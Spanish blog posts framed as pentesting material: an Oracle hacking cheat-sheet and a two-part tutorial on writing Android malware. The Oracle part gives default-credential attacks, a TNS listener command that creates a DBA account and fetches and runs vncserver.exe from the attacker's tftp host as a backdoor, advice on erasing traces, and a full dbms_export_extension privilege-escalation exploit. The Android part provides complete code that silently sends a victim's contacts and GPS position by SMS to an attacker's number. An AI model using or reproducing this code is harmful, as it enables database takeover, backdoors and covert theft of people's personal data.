HACKING ORACLE (Parte II)

Continuamos con la parte de Hacking Oracle.A continuación un pseudo cheat-sheet que nos vendrá bien siempre a la hora de enfrentarnos a un Oracle en una auditoría de Hacking.



1. Encontrar servidores Oracle / puerto del Listener (esta tiene una dificultad
extrema,xd):

nmap –v <IP-ADDRESS>

2. Obtener la versión de Oracle (con tnscmd):

tnscmd10g.pl version –h <IP-ADDRESS

3. Obtener el SID o nombre de servicio (con tnscmd o sidguess):

tnscmd10g.pl status –h <IP_ADDRESS> ( listener no hardenizado)
sidguess host=<IP-ADDRESS> port=<PORT> sidfile=sid.txt

4. Conectarse a la base de datos (vía sqlplus)

sqlplus user/password@//<IP_ADDRESS>:<PORT>/<SID>

5. Comprobar passwords por defecto (con checkpw)

checkpwd user/password@//<IP_ADDRESS>:<PORT>/<SID>
default_password.txt

6. Hacking TNS Listener con tnscmd10g.pl
7. Escalada de privilegios con sqlplus

a. dbms_export_extension
b. Te lo curras como un campeón.

OBTENER EL PUERTO DEL TNS LISTERNER

Por defecto este puerto es el 1521, si el Oracle server a tratar no está hardenizado es
muy probable que no tengas que hacer nada, igualmente puedes llamar por teléfono a
Sistemas y preguntarle por el puerto...no sería raro que te lo dijesen :D
Si Oracle está hardenizado, usamos por ejemplo nmap.

OBTENER LA VERSIÓN DE ORACLE

Lo normal a esta fecha sería que fuese la 10g o 11g, pero es más que probable
encontrarse 9 y 8, lo cual nos proporciona una alegría tremenda, puesto que tenemos muchas
posibilidades de exploiting.
En cualquier caso, lanzamos tnscmd10g.pl version –h <IP-ADDRESS> y podemos ver los resultados.

OBTENER EL SID

Si el listener no se encuentra securizado, como podemos ver en la imagen anterior,
este proporciona todo tipo de información gratuita, a partir de la versión 9 mediante un
parche, se estableció la posibilidad de proteger esta información con password, igualmente en
la versión 10g se arregló el desaguisado, por lo que si estamos ante una versión anterior a la
10g tenemos suerte, en caso contrario tendremos que bifurcar el proceso, no obstante puede
que en la versión 2 de este paper le metamos mano.

Lanzamos tnscmd10g.pl status –h <IP_ADDRESS>

Como vemos en la imagen anterior, tenemos información como:

Version: 9.2.0.1
Operating System: Windows
Oracle_Home: c:\oracle\ora92
Extproc installed: YES
Ports: 1521 (TNS), 2100 (FTP), 8080 (HTTP)
SID: ora9201

Como tenemos el SID podemos empezar a jugar con la conexión, igualmente se ve
información sobre el Extproc, éste permite ejecutar comandos del sistema operativo a través
de la BD, por lo que podríamos reemplazar el intérprete o colar una backdoor con netcat.

Si el listener está protegido con password obtendríamos el siguiente mensaje:

Igualmente si estamos ante una versión >=10g la autenticación se realiza a nivel SO,
por lo que veríamos lo siguiente:

Pero a grandes males grandes remedios, podemos probar a lanzar un ataque de diccionario o
incluso de bruteforcing y voilá:

sidguess host=<IP-ADDRESS> port=<PORT> sidfile=sid.txt

En este caso el SID es XE, el que se establece por defecto, por ello un ataque de
diccionario es altamente efectivo, en otro caso nos quedaría el bruteforcing….ya conocemos el
SID ahora necesitamos una cuenta.


CONECTARSE A LA BD (VIA SQLPLUS)

Una vez obtenida la ip, puerto, datos del listener, etc…para poder conectarnos
necesitamos una cuenta de Oracle, lo más efectivo siempre es lo más fácil, lo primero que
intentaremos es usar alguna de las cuentas que crea Oracle by default y que suelen tener
nombres de usuario/passwords conocidos, por lo que nos creamos un diccionario con estos
datos y le metemos un pepinazo cruzando los dedos…los mejores usuarios son:

dbsnmp/dbsnmp (cercano a DBA)
outln/outln (cercano a DBA)
scott/tiger (usuario normal con create privileges)
system/manager (DBA)
sys/change_on_install (DBA)

Como somos asiduos de Tele5 no nos gusta pensar, por lo que basicamente
lanzaremos un sqlplus user/password@//<IP_ADDRESS>:<PORT>/<SID> con el diccionario de
users/pass.
En caso de éxito y dependiendo con que usuario nos loguemos, podremos hacer:
select * from v$version;
select username from all_users;
select * from session_roles;
select username,password from dba_users; (solo DBA )
show parameter

COMPROBAR LAS PASSWORDS DE LA BASE DE DATOS


Mientras nos vamos a tomar un café, preparamos un diccionario de los gordos
(+100000) y usando checkpwd vamos a ver que obtenemos:

checkpwd system/alexora1@//192.168.2.232/ora9201 default_passwords.txt

HACKINIG TNS LISTENER (Versión blanda)

Si estamos ante una versión <=9.2.6 vamos a probar lo siguiente:
En primer lugar vamos a habilitar un tftpd, ¿para qué?...bueno puede que seas
optimista y ya estés pensando en subir al server “algo”… si usas backtrack ya lo tienes a mano.

Nos copiamos el binario, por ejemplo el del netcat al /tmp para que esté a mano.

A través del TNS Listener, el cual no está protegido tenemos información muy útil, como se puede ver a continuación:

Con lo cual tenemos el path de ORACLE_HOME.
El próximo paso será cambiar el nombre y el directorio del logfile, ej:
c:\oracle\ora92\sqlplus\admin\glogin.sql, modificando glogin.sql es posible meter contenido
entre los .rhost (a no ser que a nivel SO tengan deshabilitado el run de R* -Services, típico en
Unix), igualmente podríamos intentar subir keys de ssh autorizadas…pero no lo vamos a ver
aquí.

Ahora podemos escribir comandos del sistema, nos bajamos y ejecutamos el binario
que nos habilita a ello y empezamos.

tnscmd10g.pl –h 192.168.2.238 –rawcmd “(CONNECT_DATA=((set term off create user
usuarioquevasacrear identified by password;
grant dba to usuarioquevasacrear;
host tftp –I 192.168.2.30 GET vncserver.exe vncserver.exe
host vncserver
set term on
“

  A continuación borramos las huellas restableciendo la configuración del listener al
estado original (si a nivel sistema tuviesen algún mecanismo de chequeo de integridad tanto a
nivel SO como a nivel Oracle…estaríamos jodidos)

A partir de ahora cuando el DBA use sqlplus en el servidor, nuestro código nos
habilitará para descargar y ejecutar el vncserver o netcat, teniendo así una buena backdoor!

Tenemos un usuario que nos hemos creado para esto….

Llegados aquí solo podemos decir GAME OVER.

Pero alguien se preguntará, claro como ya tienes un usuario privilegiado así juega
cualquiera, que pasa si en el ataque con el diccionario no consigo el acceso con un usuario
privilegiado?


ESCALADA DE PRIVILEGIOS

Existen muchas formas para realizar una escalada de privilegios, tantas como ideas se
nos puedan ocurrir, vamos a hacer la que se nos ocurra en primera instancia (nunca estará
garantizada ninguna de ellas).

Son muy conocidas las vulnerabilidades que afectan a dbms_export_extension (Oracle
8i – 10.2.0.2) por lo que vamos a darle caña!

Una posibilidad podría ser mediante un sqlinjection en dbms_export_extension,
dependiendo de la versión a tratar deberemos ver que podemos hacer, buscar por ejemplo
exploits en exploit-db , etc… si no existiese ningún exploit, lo tenemos crudo, salvo que tengas mucho tiempo libre y encontrar una vulnerabilidad y desarrollar el exploit.

En este caso, si que tenemos un exploit:

Creamos una función en un paquete e inyectamos esta función, la función se ejecutará
con el usuario SYS.

CREATE OR REPLACE
PACKAGE BT20_EXPLOIT AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/

Tenemos el paquete listo!

CREATE OR REPLACE PACKAGE BODY BT20_EXPLOIT
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN(1);
END;
END;
/

Ya falta poco!
Inyectamos la función en n dbms_export_extension

DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := 'SCOTT';
TYPE_NAME := 'BT20_EXPLOIT';
TYPE_SCHEMA := 'SCOTT';
VERSION := '10.2.0.2.0';
GMFLAGS := 1;
v_Return :=
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA,
TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
/

Solo tenemos que hacer logout y volver a hacer login para ser DBA!! (si el
sistema no es actualizado o parcheado continuaremos pudiendo hacer esto).


  

DESARROLLO DE MALWARE PARA ANDROID (PARTE II)

Veamos ahora que código podemos incluir a nuestra aplicación para darle funcionalidades que podríamos usar en un test de intrusión.

Supongamos que o bien tenemos acceso a un dispositivo de forma física o que podemos mediante alguna técnica de ingeniería social hacer que la víctima se instale el apk que le proporcionamos. Para demostrar la debilidad de un posible antivirus instalado en el dispositivo, o bien las enormes posibilidades de extracción de información que nos ofrece android, podríamos por ejemplo extraer la agenda de contactos de la víctima y transmitir su posición con las coordenadas GPS que nos ofrezca el dispositivo.

El código lo insertaremos en el archivo principal (Mainactivitiy.java) tras el punto main que recordemos que en el caso de las aplicaciones de Android esta después de oncreate.
Nota (Que ningún experto programador en android se tire de los pelos, no se habla de activities y demás al no tratarse de un curso de Android, solamente se explica lo justo para realizar la tarea deseada y poder asimilarlo todo en el menor tiempo posible).

Código que accede a los contactos del dispositivo y los almacena en un hashmap para después hacer con ellos lo que queramos:

ArrayList<HashMap<String, String>> agenda = getContacts();
        for (HashMap<String, String> map : agenda) {
            for (Map.Entry<String, String> mapEntry : map.entrySet()) {
                key = mapEntry.getKey();
                value = mapEntry.getValue();
                datos = datos + "--" + key + ":" + value;
            }
        }

private ArrayList<HashMap<String, String>> getContacts() {
        ContentResolver cr = getContentResolver();
        Cursor cCur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);

        ArrayList<HashMap<String, String>> data = new ArrayList<HashMap<String, String>>();

        HashMap<String, String> contacts = new HashMap<String, String>();

        while (cCur.moveToNext()) {
            String id = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
            String name = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
            contacts.put(id, name);
        }
        while (pCur.moveToNext()) {
            String id = pCur.getString(pCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
            String name = contacts.get(id);
            String phone = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DATA));
            HashMap<String, String> h = new HashMap<String, String>();
            h.put("name", name);
            h.put("phone", phone);
            data.add(h);
        }
        pCur.close();
        cCur.close();
        return data;
    }

Las funciones para la extracción de datos de coordenadas GPS del dispositivo son las siguientes:

LocationManager LC = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
        Criteria criteria = new Criteria();
        provider = LC.getBestProvider(criteria, false);

        Location loc = LC.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
        if (loc != null) {
            Toast.makeText(this, "Provider:" + provider, Toast.LENGTH_LONG).show();
            onLocationChanged(loc);
        } else {
            latitudeval.setText("NO PROVIDER");
        }

    public void onLocationChanged(Location location) {
        double lat = location.getLatitude();
        double lon = location.getLongitude();
        lati = String.valueOf(lat);
        longi = String.valueOf(lon);

    }

Para finalizar el trozo de código que envía el mensaje es el siguiente:

phoneNo = "66666666";  
        sms = "Terminal Infectado: Datos Agenda:" + datos + " Localizacion:" + " "  + lati + " " + longi;
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(phoneNo, null, sms, null, null);

El mainactivity.java completo quedaría de la siguiente forma:

package Realpentester.Malware;
import android.app.Activity;
import android.content.*;
import android.database.Cursor;
import android.location.*;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.telephony.SmsManager;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import java.util.*;

public class Realpentester extends Activity {
    private TextView latitudeval;
    private String provider;
    TextView txtEnviado;
    public String key;
    public String value;
    public String datos = "";
    public String phoneNo;
    public String sms;
    public String lati;
    public String longi;

    /**
     * Called when the activity is first created.
     */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);

        txtEnviado = (TextView) findViewById(R.id.txtEnviado);

        LocationManager LC = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
        Criteria criteria = new Criteria();
        provider = LC.getBestProvider(criteria, false);

        Location loc = LC.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
        if (loc != null) {
            Toast.makeText(this, "Provider:" + provider, Toast.LENGTH_LONG).show();
            onLocationChanged(loc);
        } else {
            latitudeval.setText("NO PROVIDER");
        }
        ArrayList<HashMap<String, String>> agenda = getContacts();
        for (HashMap<String, String> map : agenda) {
            for (Map.Entry<String, String> mapEntry : map.entrySet()) {
                key = mapEntry.getKey();
                value = mapEntry.getValue();
                datos = datos + "--" + key + ":" + value;
            }
        }
       
//LINEA DONDE SE CAMBIAN OS TELEFONOS  A LOS QUE MANDAMOS LOS DATOS EXTRAIDOS DEL DISPOSITIVO
        phoneNo = "66666666"; 
        sms = "Terminal Infectado: Datos Agenda:" + datos + " Localizacion:" + " "  + lati + " " + longi;
        SmsManager smsManager = SmsManager.getDefault();
        smsManager.sendTextMessage(phoneNo, null, sms, null, null);
   }
    public void onLocationChanged(Location location) {
        double lat = location.getLatitude();
        double lon = location.getLongitude();
        lati = String.valueOf(lat);
        longi = String.valueOf(lon);

    }



    private ArrayList<HashMap<String, String>> getContacts() {
        ContentResolver cr = getContentResolver();
        Cursor cCur = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
        Cursor pCur = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);
        ArrayList<HashMap<String, String>> data = new ArrayList<HashMap<String, String>>();
        HashMap<String, String> contacts = new HashMap<String, String>();
        while (cCur.moveToNext()) {
            String id = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
            String name = cCur.getString(cCur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
            contacts.put(id, name);
        }

        while (pCur.moveToNext()) {
            String id = pCur.getString(pCur.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
            String name = contacts.get(id);
            String phone = pCur.getString(pCur.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DATA));
            HashMap<String, String> h = new HashMap<String, String>();
            h.put("name", name);
            h.put("phone", phone);
            data.add(h);
        }
        pCur.close();
        cCur.close();
        return data;
    }
}

Y una imagen vale más que mil palabras, con solo instalar nuestro APK en un Android y ejecutar la aplicación, se realizará la consulta a la base de datos de la agenda, se obtendra un solo contacto de la agenda (por no tener un sms extramadamente largo) y se obtendra la posicion actual con latitud y longitud de GPS y se enviarán todos estos datos vía SMS al número que queramos:

Para todos aquellos con menos conocimientos de java, o que piensen que acceder a todas las funcionalidades del dispositivo es algo muy complejo, indicarles que se cuenta por ejemplo con la siguiente URL: http://www.androidsnippets.com/

Existen muchas páginas similares con el código funcional necesario para programar cualquier cosa que se nos ocurra. Google es tu amigo!!!
 

DESARROLLO DE MALWARE PARA ANDROID (PARTE I)

Esta nueva entrada del blog mostrará lo sencillo que puede resultar desarrollar/analizar malware para dispositivos Android, sobre todo si se dispone de algunos conocimientos de programación en Java. No es necesario ser ningún gurú de la programación ni nada por el estilo, sólo dedicarle unas horas para aprender los requisitos necesarios para montar la infraestructura necesaria y para comprender la estructura de las aplicaciones para dispositivos móviles.

A lo largo de este post, no se desarrollará ningún malware sofisticado ni nada por el estilo , nos centraremos tanto en clarificar todo lo necesario para programar en dispositivos Android, como en hacer un ejemplo funcional de código que extraiga datos de un dispositivo android  como los datos de la agenda y la localización, para enviarlos al número que deseemos.

No es necesario comentar para los asiduos a nuestro blog, la gran cantidad de posibilidades y variantes que se encuentran ya funcionanado hoy en dia de malware para dispositivos android. Unos realizan llamadas de forma oculta a números que ingresan dinero el creador del malware, otros crean auténticas botnets y así un sinfín de posibilidades disponibles a la hora de atacar nuestros dispositivos. Como he comentado, me centraré en la extracción de datos confidenciales del dispositivo en el ejemplo que veremos.

En primer lugar veremos el “tinglado” que hay que montar para poder desarrollar aplicaciones en Android:

      1- Necesitaremos un entorno de desarrollo de java. Si bien el más orientado a desarrollo de aplicaciones móviles es Eclipse, a mi personalmente me gusta mas trabajar con netbean por lo que explicaremos como trabajar con éste en el desarrollo de aplicaciones móviles. Por otra parte existen otros desarrollos muy interesantes como motodeb, que también pueden ser muy útiles para esta tarea y que invitamos a los mas curiosos a investigar.

Instalaremos en primer lugar en Netbean lo necesario para trabajar con aplicaciones móviles:

a.       Iremos en netbean al menú Tools, Plugins, tras cargarse la ventana le damos a la pestaña Settings

b.      Presionamos el botón Add

c.       En la siguiente ventana en el campo Name introducimos “NBAndroid” y marcar la casilla “check for updates automatically”

d.      Para terminar en el campo URL introducimos la url de la web de Project Kenai (atención en este punto por si ha cambiado la url del enlace o algo asi, ya que es el único punto donde es posible “cagarla”) : http://kenai.com/projects/nbandroid/downloads/download/updatecenter/updates.xml

e.      Tras estos pasos, ir a la pestaña Available Plugins, hay que buscar los plugins Android y Android Test Runner for NetBeans 7.0+, seleccionarlos marcando las casillas y presionar el botón Install

f.        Pulsamos Next, aceptamos los términos de la licencia y apretamos el botón Install, estos pasos descargaran el plugin a nuestro equipo, así que habrá que esperar a que termine la descarga. Cuando terminemos verermos un mensaje indicando que el plugin no es oficial y finalizaremos presionando Continue y despuespues el botón Finish. Para activarlo, nos movemos a la pestaña Installed, y podemos comprobar que efectivamente, ambos componentes se encuentran instalados y activados.

g.     Antes de pasar a crear el proyecto, accederemos a la ruta donde hemos instalado el SDK para ver que útiles hay instalados y para que nos sirve cada uno. Accedemos a la ruta en la que indicamos que se instalase y veremos lo siguiente:

Básicamente tenemos dos cosas muy importantes, una es el AVD Manager que nos va a permitir crear dispositivos móviles virtuales, si si eso es, un móvil virtual que nos permitirá probar las aplicaacinoes android sioin necesidad de tener que probarlas en un dispositivo físico.

 

En la siguiente captura vemos que sucede al darle al botón NEW que nos permitirá crear un nuevo dispositivo:

Y en la siguiente captura vemos que sucede al darle al botón  START  de uno de los dispositivos móviles creados:

Finalmente al pulsar sobre Launch encenderemos el dispositivo y deberemos desbloquearlo como cualquier dispositivo físico, quedando de la siguiente manera:

Una vez que hemos visto que hace el AVD Manager, veamos para que sirve el icono del  SDK Manager.

Como veréis en la siguiente captura, sirve para gestionar las diferentes versiones instaladas del SDK. Se recomienda instalar tantas versiones como pensemos usar del SDK. Este es un punto MUY importante en el que debemos pararnos pq podemos “cagarla”  bastante. Algo que debemos tener en cuenta es que cada versión del sdk de Android dispone de una serie de funciones que en ocasiones no son compatibles. 

Si vamos a trabajar con un dispositivo con un sdk determinado, estaremos limitados a las funciones que “rulan” para esa versión de SDK. Debemos asegurarnos por lo tanto muy muy bien de la versión de SDK que utilizaremos, y a la hora de programar debemos también usar funciones que sean lo más compatibles posibles en las diferentes versiones de SDK que pueden encontrarse instaladas en los dispositivos Android.

El dispositivo virtual se puede crear con una versión concreta de SDK y los dispositivos físicos es sencillo ver que versión de SDK tienen instalada.

  

     2.  Ok si hemos seguido estos pasos de forma correcta ya tendremos nuestro “chiringuito” listo para programar en Netbeans aplicaciones Android. Ahora veamos como se crea un proyecto en Netbeans para Android: Vamos al menú File, pulsamos sobre new Project y veremos una ventana como la siguiente:

        Seleccionamos Android Project y le damos a Next. Veremos una ventana com la siguiente:

 

      En la ventana anterior vemos que hay diferentes elementos a rellnar, y cosas que seleccionar: El nombre del proyecto en Project name, el nombre del paquete que debe seguir la regla de nombre paquete.nombreaplicacion osea con un . que separe las dos partes y también ha de selccionarse el SDK que se desee. A continuación un ejemplo:

      Le damos a Finish y ya tenemos nuestro proyecto que se verá de la siguiente forma en el explorador de proyectos:

       Como veis sale en rojo indicando que hay algún problema, se debe a que hay que hacer un build con el botón derecho:

Ya tenemos todo listo para empezar a programar.
 
3. Creación de un malware básico de android:

Como es mas que evidente esto no va a ser un curso completo de programación para Android,  en el
caso que nos ocupa, veremos las secciones principales de código y archivos principales, asi como el
    código básico necesario  que utilizaremos para crear nuestro malware de Android.

        
      Aún así, cualquier programador avispado, podrá asimilar de forma sencilla y tomar como base lo  explicado para profundizar en este mundillo y subir asi de level su skill en programación de   malware android.Una vez se ha hecho el build del proyecto, vemos las siguientes carpetas:

      

      El archivo MainActívity.java es el archivo principal del proyecto, que por defecto tiene el siguiente código:

 

 

El punto de main de las aplicaciones Android es onCreate, osea lo que por lo general seria el método Main o método principal, en este tipo de aplicaciones esta en el método onCreate. Todo nuestro código ira después de la línea 13, una vez que se a pintado el layout.
Otros archivos importantes son el main.xml que como veremos define la interfaz de pantalla , (Sí,  eso es, con un fichero xml se "pinta" el interfaz grafico :O)

  Y el string.xml  en el que aparece el nombre de la aplicación:

      El último archivo que veremos pero no por ello el menos importante, es el archivo Android Manifiest file, en el que entre otras cosas se definen TODOS LOS PERMISOS NECESARIOS para ejecutar la aplicación. Estos permisos son los que el usuario debe aceptar antes de isntalar la aplicación.

No hay que preocuparse por crear este archivo ya que se crea sólo, pero si hay que añadir los        permisos siguientes para que nuestra aplicación funcione:

     <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>

El contenido de nuestro archivo completo  es el siguiente:(hay funcionalidades que no usamos ahora pero que usaremos más adelante)

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
          package="Realpentester.malware"
          android:versionCode="1"
          android:versionName="1.0">
   <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <application android:label="@string/app_name" android:icon="@drawable/ic_launcher">
            <activity android:name="Realpentesting Malware"
              android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

       <activity android:name="Realpentester.Malware.actividades.EnviarSms"
              android:label="@string/enviarSms">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
      </activity>      
   </application>
</manifest>

Si ejecutamos tal y como está nuestra aplicación veremos lo siguiente:
 

Es interesante comentar, que si queremos ver a tiempo real los log de lo que esta pasando con el terminal emulado, podemos hacerlo accediendo a la ruta C:\Users\realpentest\AppData\Local\Android\android-sdk\platform-tools>

Y ejecutando el comando adb logcat

Aunque de una forma no muy legible, en esta consola podremos ver información de todo lo que sucede al ejecutar una aplicación android en nuestro dispositivo virtual, para detectar por ejemplo posibles errores.

En la siguiente parte del artículo veremos como podemos modificar el código de nuestra aplicación para realizar acciones maliciosas e incluso podríamos usar en un pentest.